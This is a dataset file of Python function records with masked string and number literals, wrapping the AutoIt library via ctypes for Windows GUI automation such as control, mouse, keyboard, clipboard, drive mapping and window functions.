{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def control_command(title, control, command, buf_size=<NUM_LIT>, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>extra = kwargs.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>result = ctypes.create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_ControlCommand(LPCWSTR(title), LPCWSTR(text), LPCWSTR(control),<EOL>LPCWSTR(command), LPCWSTR(extra),<EOL>result, INT(buf_size))<EOL>return result.value.rstrip()<EOL>", "docstring": ":param title:\n:param control:\n:param command:\n:param extra:\n:param buf_size:\n:return:", "id": "f5585:m2"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def control_command_by_handle(hwnd, h_ctrl, command, buf_size=<NUM_LIT>, **kwargs):", "body": "extra = kwargs.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>result = ctypes.create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_ControlCommandByHandle(<EOL>HWND(hwnd), HWND(h_ctrl), LPCWSTR(command), LPCWSTR(extra), result,<EOL>INT(buf_size))<EOL>return result.value.rstrip()<EOL>", "docstring": ":param hwnd:\n:param h_ctrl:\n:param command:\n:param kwargs:\n:return:", "id": "f5585:m3"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def control_list_view(title, control, command, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>buf_size = kwargs.get(\"<STR_LIT>\", <NUM_LIT>)<EOL>result = ctypes.create_unicode_buffer(buf_size)<EOL>extra1 = kwargs.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>extra2 = kwargs.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>AUTO_IT.AU3_ControlListView(<EOL>LPCWSTR(title), LPCWSTR(text), LPCWSTR(control), LPCWSTR(command),<EOL>LPCWSTR(extra1), LPCWSTR(extra2), result, INT(buf_size)<EOL>)<EOL>return result.value.rstrip()<EOL>", "docstring": ":param title:\n:param control:\n:param command:\n:param args:\n:param kwargs:\n:return:", "id": "f5585:m4"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def control_list_view_by_handle(hwnd, h_ctrl, command, **kwargs):", "body": "extra1 = kwargs.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>extra2 = kwargs.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>buf_size = kwargs.get(\"<STR_LIT>\", <NUM_LIT>)<EOL>result = ctypes.create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_ControlListViewByHandle(<EOL>HWND(hwnd), HWND(h_ctrl), LPCWSTR(command),<EOL>LPCWSTR(extra1), LPCWSTR(extra2), result, INT(buf_size)<EOL>)<EOL>return result.value.rstrip()<EOL>", "docstring": ":param hwnd:\n:param h_ctrl:\n:param command:\n:param kwargs:\n:return:", "id": "f5585:m5"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def control_disable(title, control, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_ControlDisable(LPCWSTR(title), LPCWSTR(text),<EOL>LPCWSTR(control))<EOL>return ret<EOL>", "docstring": ":param title:\n:param control:\n:param kwargs:\n:return:", "id": "f5585:m6"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def control_disable_by_handle(hwnd, h_ctrl):", "body": "ret = AUTO_IT.AU3_ControlDisableByHandle(HWND(hwnd), HWND(h_ctrl))<EOL>return ret<EOL>", "docstring": ":param hwnd:\n:param h_ctrl:\n:return:", "id": "f5585:m7"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def control_enable(title, control, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_ControlEnable(LPCWSTR(title), LPCWSTR(text),<EOL>LPCWSTR(control))<EOL>return ret<EOL>", "docstring": ":param title:\n:param control:\n:param kwargs:\n:return:", "id": "f5585:m8"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def control_enable_by_handle(hwnd, h_ctrl):", "body": "ret = AUTO_IT.AU3_ControlEnableByHandle(HWND(hwnd), HWND(h_ctrl))<EOL>return ret<EOL>", "docstring": ":param hwnd:\n:param h_ctrl:\n:return:", "id": "f5585:m9"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def control_focus(title, control, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_ControlFocus(<EOL>LPCWSTR(title), LPCWSTR(text), LPCWSTR(control))<EOL>return ret<EOL>", "docstring": ":param title:\n:param control:\n:param kwargs:\n:return:", "id": "f5585:m10"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def control_focus_by_handle(hwnd, h_ctrl):", "body": "ret = AUTO_IT.AU3_ControlFocusByHandle(HWND(hwnd), HWND(h_ctrl))<EOL>return ret<EOL>", "docstring": ":param hwnd:\n:param h_ctrl:\n:return:", "id": "f5585:m11"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def control_get_focus(title, **kwargs):", "body": "buf_size = kwargs.get(\"<STR_LIT>\", <NUM_LIT>)<EOL>text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ctrl_with_focus = ctypes.create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_ControlGetFocus(<EOL>LPCWSTR(title), LPCWSTR(text), ctrl_with_focus, INT(buf_size))<EOL>return ctrl_with_focus.value.rstrip()<EOL>", "docstring": ":param title:\n:param kwargs:\n:return:", "id": "f5585:m12"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def control_get_focus_by_handle(hwnd, buf_size=<NUM_LIT>):", "body": "ctrl_with_focus = ctypes.create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_ControlGetFocusByHandle(HWND(hwnd), ctrl_with_focus,<EOL>INT(buf_size))<EOL>return ctrl_with_focus.value.rstrip()<EOL>", "docstring": ":param hwnd:\n:param buf_size:\n:return:", "id": "f5585:m13"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def control_get_handle(hwnd, control):", "body": "ret = AUTO_IT.AU3_ControlGetHandle(HWND(hwnd), LPCWSTR(control))<EOL>return ret<EOL>", "docstring": ":param hwnd:\n:param control:\n:return:", "id": "f5585:m14"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def control_get_handle_as_text(title, control, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>buf_size = kwargs.get(\"<STR_LIT>\", <NUM_LIT:32>)<EOL>ret_text = ctypes.create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_ControlGetHandleAsText(<EOL>LPCWSTR(title), LPCWSTR(text), LPCWSTR(control),<EOL>ret_text, INT(buf_size)<EOL>)<EOL>return ret_text.value.rstrip()<EOL>", "docstring": ":param title:\n:param control:\n:param kwargs:\n:return:", "id": "f5585:m15"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def control_get_pos(title, control, text=\"<STR_LIT>\"):", "body": "rect = RECT()<EOL>AUTO_IT.AU3_ControlGetPos(<EOL>LPCWSTR(title), LPCWSTR(text), LPCWSTR(control),<EOL>ctypes.byref(rect)<EOL>)<EOL>return rect.left, rect.top, rect.right, rect.bottom<EOL>", "docstring": ":param title:\n:param control:\n:param text:\n:return:", "id": "f5585:m16"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def control_get_pos_by_handle(hwnd, h_ctrl):", "body": "rect = RECT()<EOL>AUTO_IT.AU3_ControlGetPosByHandle(HWND(hwnd), HWND(h_ctrl),<EOL>ctypes.byref(rect))<EOL>return rect.left, rect.top, rect.right, rect.bottom<EOL>", "docstring": ":param hwnd:\n:param h_ctrl:\n:return:", "id": "f5585:m17"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def control_get_text(title, control, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>buf_size = kwargs.get(\"<STR_LIT>\", <NUM_LIT>)<EOL>ctrl_text = ctypes.create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_ControlGetText(<EOL>LPCWSTR(title), LPCWSTR(text), LPCWSTR(control),<EOL>ctrl_text, INT(buf_size)<EOL>)<EOL>return ctrl_text.value.rstrip()<EOL>", "docstring": ":param title:\n:param control:\n:param kwargs:\n:return:", "id": "f5585:m18"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def control_get_text_by_handle(hwnd, h_ctrl, **kwargs):", "body": "buf_size = kwargs.get(\"<STR_LIT>\", <NUM_LIT>)<EOL>ctrl_text = ctypes.create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_ControlGetTextByHandle(<EOL>HWND(hwnd), HWND(h_ctrl), ctrl_text, INT(buf_size)<EOL>)<EOL>return ctrl_text.value.rstrip()<EOL>", "docstring": ":param hwnd:\n:param h_ctrl:\n:return:", "id": "f5585:m19"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def control_hide(title, control, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_ControlHide(<EOL>LPCWSTR(title), LPCWSTR(text), LPCWSTR(control))<EOL>return ret<EOL>", "docstring": ":param title:\n:param control:\n:param kwargs:\n:return:", "id": "f5585:m20"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def control_hide_by_handle(hwnd, h_ctrl):", "body": "ret = AUTO_IT.AU3_ControlHideByHandle(HWND(hwnd), HWND(h_ctrl))<EOL>return ret<EOL>", "docstring": ":param hwnd:\n:param h_ctrl:\n:return:", "id": "f5585:m21"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def control_move(title, control, x, y, width=-<NUM_LIT:1>, height=-<NUM_LIT:1>, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_ControlMove(<EOL>LPCWSTR(title), LPCWSTR(text), LPCWSTR(control),<EOL>INT(x), INT(y), INT(width), INT(height)<EOL>)<EOL>return ret<EOL>", "docstring": ":param title:\n:param control:\n:param x:\n:param y:\n:param kwargs:\n:return:", "id": "f5585:m22"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def control_move_by_handle(hwnd, h_ctrl, x, y, width=-<NUM_LIT:1>, height=-<NUM_LIT:1>):", "body": "ret = AUTO_IT.AU3_ControlMoveByHandle(<EOL>HWND(hwnd), HWND(h_ctrl), INT(x), INT(y), INT(width), INT(height)<EOL>)<EOL>return ret<EOL>", "docstring": ":param hwnd:\n:param h_ctrl:\n:param x:\n:param y:\n:param width:\n:param height:\n:return:", "id": "f5585:m23"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def control_send(title, control, send_text, mode=<NUM_LIT:0>, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_ControlSend(<EOL>LPCWSTR(title), LPCWSTR(text), LPCWSTR(control),<EOL>LPCWSTR(send_text), INT(mode)<EOL>)<EOL>return ret<EOL>", "docstring": ":param title:\n:param control:\n:param send_text:\n:param mode:\nflag = 0 (default), Text contains special characters like + to indicate\n    SHIFT and {LEFT} to indicate left arrow.\nflag = 1, keys are sent raw.\n:param kwargs:\n:return:", "id": "f5585:m24"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def control_send_by_handle(hwnd, h_ctrl, send_text, mode=<NUM_LIT:0>):", "body": "ret = AUTO_IT.AU3_ControlSendByHandle(<EOL>HWND(hwnd), HWND(h_ctrl), LPCWSTR(send_text), INT(mode)<EOL>)<EOL>return ret<EOL>", "docstring": ":param hwnd:\n:param h_ctrl:\n:param send_text:\n:param mode:\n:return:", "id": "f5585:m25"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def control_set_text(title, control, control_text, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_ControlSetText(<EOL>LPCWSTR(title), LPCWSTR(text), LPCWSTR(control), LPCWSTR(control_text)<EOL>)<EOL>return ret<EOL>", "docstring": ":param title:\n:param control:\n:param control_text:\n:param kwargs:\n:return:", "id": "f5585:m26"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def control_set_text_by_handle(hwnd, h_ctrl, control_text):", "body": "ret = AUTO_IT.AU3_ControlSetTextByHandle(<EOL>HWND(hwnd), HWND(h_ctrl), LPCWSTR(control_text)<EOL>)<EOL>return ret<EOL>", "docstring": ":param hwnd:\n:param h_ctrl:\n:param control_text:\n:return:", "id": "f5585:m27"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def control_show(title, control, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_ControlShow(<EOL>LPCWSTR(title), LPCWSTR(text), LPCWSTR(control))<EOL>return ret<EOL>", "docstring": ":param title:\n:param control:\n:param kwargs:\n:return:", "id": "f5585:m28"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def control_show_by_handle(hwnd, h_ctrl):", "body": "ret = AUTO_IT.AU3_ControlShowByHandle(HWND(hwnd), HWND(h_ctrl))<EOL>return ret<EOL>", "docstring": ":param hwnd:\n:param h_ctrl:\n:return:", "id": "f5585:m29"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def control_tree_view(title, control, command, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>buf_size = kwargs.get(\"<STR_LIT>\", <NUM_LIT>)<EOL>result = ctypes.create_unicode_buffer(buf_size)<EOL>extra1 = kwargs.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>extra2 = kwargs.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>AUTO_IT.AU3_ControlTreeView(<EOL>LPCWSTR(title), LPCWSTR(text), LPCWSTR(control), LPCWSTR(command),<EOL>LPCWSTR(extra1), LPCWSTR(extra2), result, INT(buf_size)<EOL>)<EOL>return result.value.rstrip()<EOL>", "docstring": ":param title:\n:param control:\n:param command:\n:param args:\n:param kwargs:\n:return:", "id": "f5585:m30"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def control_tree_view_by_handle(hwnd, h_ctrl, command, **kwargs):", "body": "extra1 = kwargs.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>extra2 = kwargs.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>buf_size = kwargs.get(\"<STR_LIT>\", <NUM_LIT>)<EOL>result = ctypes.create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_ControlTreeViewByHandle(<EOL>HWND(hwnd), HWND(h_ctrl), LPCWSTR(command),<EOL>LPCWSTR(extra1), LPCWSTR(extra2), result, INT(buf_size)<EOL>)<EOL>return result.value.rstrip()<EOL>", "docstring": ":param hwnd:\n:param h_ctrl:\n:param command:\n:param kwargs:\n:return:", "id": "f5585:m31"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def statusbar_get_text(title, text=\"<STR_LIT>\", part=<NUM_LIT:1>, buf_size=<NUM_LIT>):", "body": "sb_text = ctypes.create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_StatusbarGetText(<EOL>LPCWSTR(title), LPCWSTR(text), INT(part), sb_text, INT(buf_size)<EOL>)<EOL>return sb_text.value.rstrip()<EOL>", "docstring": ":param title:\n:param text:\n:param part: The \"part\" number of the status bar to read - the default\n    is 1. 1 is the first possible part and usually the one that contains\n    the useful messages like \"Ready\" \"Loading...\", etc.\n:param buf_size:\n:return:", "id": "f5585:m32"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def statusbar_get_text_by_handle(hwnd, part=<NUM_LIT:1>, buf_size=<NUM_LIT>):", "body": "statusbar_text = ctypes.create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_StatusbarGetTextByHandle(<EOL>HWND(hwnd), INT(part), statusbar_text, INT(buf_size)<EOL>)<EOL>return statusbar_text.value.rstrip()<EOL>", "docstring": ":param hwnd:\n:param part:\n:param buf_size:\n:return:", "id": "f5585:m33"}
{"signature": "@api.check()<EOL>def auto_it_set_option(option, param):", "body": "pre_value = AUTO_IT.AU3_AutoItSetOption(LPCWSTR(option), INT(param))<EOL>return pre_value<EOL>", "docstring": "Changes the operation of various AutoIt functions/parameters\n:param option: The option to change\n:param param: The parameter (varies by option).\n:return:", "id": "f5586:m1"}
{"signature": "@api.check(<NUM_LIT:1>, err_msg=\"<STR_LIT>\")<EOL>def clip_get(buf_size=<NUM_LIT>):", "body": "clip = ctypes.create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_ClipGet(clip, INT(buf_size))<EOL>return clip.value.rstrip()<EOL>", "docstring": ":param buf_size:\n:return:", "id": "f5586:m2"}
{"signature": "@api.check(<NUM_LIT:2>, err_msg=\"<STR_LIT>\")<EOL>def clip_put(value):", "body": "ret = AUTO_IT.AU3_ClipPut(LPCWSTR(value))<EOL>return ret<EOL>", "docstring": ":param value:\n:return:", "id": "f5586:m3"}
{"signature": "def is_admin():", "body": "ret = AUTO_IT.AU3_IsAdmin()<EOL>return ret<EOL>", "docstring": ":return:", "id": "f5586:m4"}
{"signature": "def drive_map_add(device, share, flag=<NUM_LIT:0>, user=\"<STR_LIT>\", pwd=\"<STR_LIT>\", buf_size=<NUM_LIT>):", "body": "result = ctypes.create_unicode_buffer(buf_size)<EOL>err_code = {<EOL><NUM_LIT:1>: \"<STR_LIT>\",<EOL><NUM_LIT:2>: \"<STR_LIT>\",<EOL><NUM_LIT:3>: \"<STR_LIT>\",<EOL><NUM_LIT:4>: \"<STR_LIT>\",<EOL><NUM_LIT:5>: \"<STR_LIT>\",<EOL><NUM_LIT:6>: \"<STR_LIT>\"<EOL>}<EOL>AUTO_IT.AU3_DriveMapAdd(<EOL>LPCWSTR(device), LPCWSTR(share), INT(flag), LPCWSTR(user),<EOL>LPCWSTR(pwd), result, INT(buf_size))<EOL>if error():<EOL><INDENT>raise AutoItError(err_code.get(error(), None))<EOL><DEDENT>return result.value.rstrip()<EOL>", "docstring": ":param device:\n:param share:\n:param flag: 0 = default\n    1 = Persistant mapping\n    8 = Show authentication dialog if required\n:param user:\n:param pwd:\n:param buf_size:\n:return:", "id": "f5586:m5"}
{"signature": "@api.check(<NUM_LIT:2>, err_msg=\"<STR_LIT>\")<EOL>def drive_map_del(device):", "body": "ret = AUTO_IT.AU3_DriveMapDel(LPCWSTR(device))<EOL>return ret<EOL>", "docstring": ":param device:\n:return:", "id": "f5586:m6"}
{"signature": "@api.check(<NUM_LIT:1>, err_msg=\"<STR_LIT>\")<EOL>def drive_map_get(device, buf_size=<NUM_LIT>):", "body": "mapping = ctypes.create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_DriveMapGet(LPCWSTR(device), mapping, INT(buf_size))<EOL>return mapping.value.rstrip()<EOL>", "docstring": ":param device:\n:param buf_size:\n:return:", "id": "f5586:m7"}
{"signature": "def mouse_click(button=\"<STR_LIT:left>\", x=INTDEFAULT, y=INTDEFAULT, clicks=<NUM_LIT:1>, speed=-<NUM_LIT:1>):", "body": "ret = AUTO_IT.AU3_MouseClick(<EOL>LPCWSTR(button), INT(x), INT(y), INT(clicks), INT(speed)<EOL>)<EOL>return ret<EOL>", "docstring": ":param button:\n:param x:\n:param y:\n:param clicks:\n:param speed:\n:return:", "id": "f5586:m8"}
{"signature": "def mouse_click_drag(x1, y1, x2, y2, button=\"<STR_LIT:left>\", speed=-<NUM_LIT:1>):", "body": "ret = AUTO_IT.AU3_MouseClickDrag(<EOL>LPCWSTR(button), INT(x1), INT(y1), INT(x2), INT(y2), INT(speed)<EOL>)<EOL>return ret<EOL>", "docstring": ":param x1:\n:param y1:\n:param x2:\n:param y2:\n:param button:\n:param speed:\n:return:", "id": "f5586:m9"}
{"signature": "def mouse_down(button=\"<STR_LIT:left>\"):", "body": "AUTO_IT.AU3_MouseDown(LPCWSTR(button))<EOL>", "docstring": ":param button:\n:return:", "id": "f5586:m10"}
{"signature": "def mouse_get_cursor():", "body": "ret = AUTO_IT.AU3_MouseGetCursor()<EOL>return ret<EOL>", "docstring": ":return:", "id": "f5586:m11"}
{"signature": "def mouse_get_pos():", "body": "p = POINT()<EOL>AUTO_IT.AU3_MouseGetPos(ctypes.byref(p))<EOL>return p.x, p.y<EOL>", "docstring": ":return:", "id": "f5586:m12"}
{"signature": "def mouse_move(x, y, speed=-<NUM_LIT:1>):", "body": "ret = AUTO_IT.AU3_MouseMove(INT(x), INT(y), INT(speed))<EOL>return ret<EOL>", "docstring": ":param x:\n:param y:\n:param speed:\n:return:", "id": "f5586:m13"}
{"signature": "def mouse_up(button=\"<STR_LIT:left>\"):", "body": "AUTO_IT.AU3_MouseUp(LPCWSTR(button))<EOL>", "docstring": ":param button:\n:return:", "id": "f5586:m14"}
{"signature": "@api.check(<NUM_LIT:1>, err_msg=\"<STR_LIT>\")<EOL>def mouse_wheel(direction, clicks=-<NUM_LIT:1>):", "body": "AUTO_IT.AU3_MouseWheel(LPCWSTR(direction), INT(clicks))<EOL>", "docstring": ":param direction: \"up\" or \"down\"\n:param clicks:\n:return:", "id": "f5586:m15"}
{"signature": "def opt(option, value):", "body": "return auto_it_set_option(option, value)<EOL>", "docstring": ":param option:\n:param value:\n:return:", "id": "f5586:m16"}
{"signature": "def pixel_checksum(left, top, right, bottom, step=<NUM_LIT:1>):", "body": "rect = RECT(left, top, right, bottom)<EOL>ret = AUTO_IT.AU3_PixelChecksum(ctypes.byref(rect), INT(step))<EOL>return ret<EOL>", "docstring": ":param left:\n:param top:\n:param right:\n:param bottom:\n:param step:\n:return:", "id": "f5586:m17"}
{"signature": "@api.check(<NUM_LIT:2>, unexpected_ret=(-<NUM_LIT:1>,), err_msg=\"<STR_LIT>\")<EOL>def pixel_get_color(x, y):", "body": "ret = AUTO_IT.AU3_PixelGetColor(INT(x), INT(y))<EOL>return ret<EOL>", "docstring": ":param x:\n:param y:\n:return:", "id": "f5586:m18"}
{"signature": "@api.check(<NUM_LIT:1>, err_msg=\"<STR_LIT>\")<EOL>def pixel_search(left, top, right, bottom, col, var=<NUM_LIT:1>, step=<NUM_LIT:1>):", "body": "p = POINT()<EOL>rect = RECT(left, top, right, bottom)<EOL>AUTO_IT.AU3_PixelSearch(<EOL>ctypes.byref(rect), INT(col), INT(var), INT(step), ctypes.byref(p)<EOL>)<EOL>return p.x, p.y<EOL>", "docstring": ":param left:\n:param top:\n:param right:\n:param bottom:\n:param col:\n:param var:\n:param step:\n:return:", "id": "f5586:m19"}
{"signature": "def send(send_text, mode=<NUM_LIT:0>):", "body": "AUTO_IT.AU3_Send(LPCWSTR(send_text), INT(mode))<EOL>", "docstring": "Sends simulated keystrokes to the active window.\n:param send_text:\n:param mode: Changes how \"keys\" is processed:\n    flag = 0 (default), Text contains special characters like + and ! to\n     indicate SHIFT and ALT key presses.\n    flag = 1, keys are sent raw.\n:return:", "id": "f5586:m20"}
{"signature": "def tooltip(tip, x=INTDEFAULT, y=INTDEFAULT):", "body": "AUTO_IT.AU3_ToolTip(LPCWSTR(tip), INT(x), INT(y))<EOL>", "docstring": ":param tip:\n:param x:\n:param y:\n:return:", "id": "f5586:m21"}
{"signature": "def check(self, mark=<NUM_LIT:0>, err_msg=\"<STR_LIT>\", **kwds):", "body": "unexpected_ret = kwds.get(\"<STR_LIT>\", (<NUM_LIT:0>,))<EOL>def _check(fn):<EOL><INDENT>@wraps(fn)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>ret = fn(*args, **kwargs)<EOL>flags = reduce(<EOL>self._parser, [dict(num=mark, flags=[]), <NUM_LIT:2>, <NUM_LIT:1>])[\"<STR_LIT>\"]<EOL>if <NUM_LIT:1> in flags:<EOL><INDENT>if self._has_error():<EOL><INDENT>raise AutoItError(err_msg)<EOL><DEDENT><DEDENT>if <NUM_LIT:2> in flags:<EOL><INDENT>if self._has_unexpected_ret(ret, unexpected_ret):<EOL><INDENT>raise AutoItError(err_msg)<EOL><DEDENT><DEDENT>return ret<EOL><DEDENT>return wrapper<EOL><DEDENT>return _check<EOL>", "docstring": ":param mark:\n    0 - do not need check return value or error()\n    1 - check error()\n    2 - check return value", "id": "f5586:c1:m4"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_activate(title, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_WinActivate(LPCWSTR(title), LPCWSTR(text))<EOL>return ret<EOL>", "docstring": "Activates (gives focus to) a window.\n:param title:\n:param text:\n:return:", "id": "f5587:m0"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_activate_by_handle(handle):", "body": "ret = AUTO_IT.AU3_WinActivateByHandle(HWND(handle))<EOL>return ret<EOL>", "docstring": ":param handle:\n:return:", "id": "f5587:m1"}
{"signature": "def win_active(title, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_WinActive(LPCWSTR(title), LPCWSTR(text))<EOL>return ret<EOL>", "docstring": ":param title:\n:param text:\n:return:", "id": "f5587:m2"}
{"signature": "def win_active_by_handle(handle):", "body": "ret = AUTO_IT.AU3_WinActiveByHandle(HWND(handle))<EOL>return ret<EOL>", "docstring": ":param handle:\n:return:", "id": "f5587:m3"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_close(title, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_WinClose(LPCWSTR(title), LPCWSTR(text))<EOL>return ret<EOL>", "docstring": ":param title:\n:param text:\n:return:", "id": "f5587:m4"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_close_by_handle(handle):", "body": "ret = AUTO_IT.AU3_WinCloseByHandle(HWND(handle))<EOL>return ret<EOL>", "docstring": ":param handle:\n:return:", "id": "f5587:m5"}
{"signature": "def win_exists(title, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_WinExists(LPCWSTR(title), LPCWSTR(text))<EOL>return ret<EOL>", "docstring": "Checks to see if a specified window exists.\n:param title: The title of the window to check.\n:param text: The text of the window to check.\n:return: Returns 1 if the window exists, otherwise returns 0.", "id": "f5587:m6"}
{"signature": "def win_exists_by_handle(handle):", "body": "ret = AUTO_IT.AU3_WinExistsByHandle(HWND(handle))<EOL>return ret<EOL>", "docstring": ":param handle:\n:return:", "id": "f5587:m7"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def win_get_caret_pos():", "body": "p = POINT()<EOL>AUTO_IT.AU3_WinGetCaretPos(byref(p))<EOL>return p.x, p.y<EOL>", "docstring": "Returns the coordinates of the caret in the foreground window\n:return:", "id": "f5587:m8"}
{"signature": "def win_get_class_list(title, buf_size=<NUM_LIT:200>, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>rec_text = create_unicode_buffer(buf_size)  <EOL>AUTO_IT.AU3_WinGetClassList(LPCWSTR(title), LPCWSTR(text),<EOL>rec_text, INT(buf_size))<EOL>msg = rec_text.value.rstrip()<EOL>return msg<EOL>", "docstring": ":param title:\n:param text:\n:param buf_size:\n:return:", "id": "f5587:m9"}
{"signature": "def win_get_class_list_by_handle(handle, buf_size=<NUM_LIT:200>):", "body": "rec_text = create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_WinGetClassListByHandle(HWND(handle), rec_text, INT(buf_size))<EOL>msg = rec_text.value.rstrip()<EOL>return msg<EOL>", "docstring": ":param handle:\n:param buf_size:\n:return:", "id": "f5587:m10"}
{"signature": "def win_get_client_size(title, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>rect = RECT()<EOL>ret = AUTO_IT.AU3_WinGetClientSize(LPCWSTR(title), LPCWSTR(text),<EOL>byref(rect))<EOL>if ret == <NUM_LIT:1>:<EOL><INDENT>raise AutoItError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>return rect.right, rect.bottom<EOL>", "docstring": ":param title:\n:param text:\n:return:", "id": "f5587:m11"}
{"signature": "def win_get_client_size_by_handle(handle):", "body": "rect = RECT()<EOL>ret = AUTO_IT.AU3_WinGetClientSizeByHandle(HWND(handle), byref(rect))<EOL>if ret == <NUM_LIT:1>:<EOL><INDENT>raise AutoItError(\"<STR_LIT>\")<EOL><DEDENT>return rect.right, rect.bottom<EOL>", "docstring": ":param handle:\n:return:", "id": "f5587:m12"}
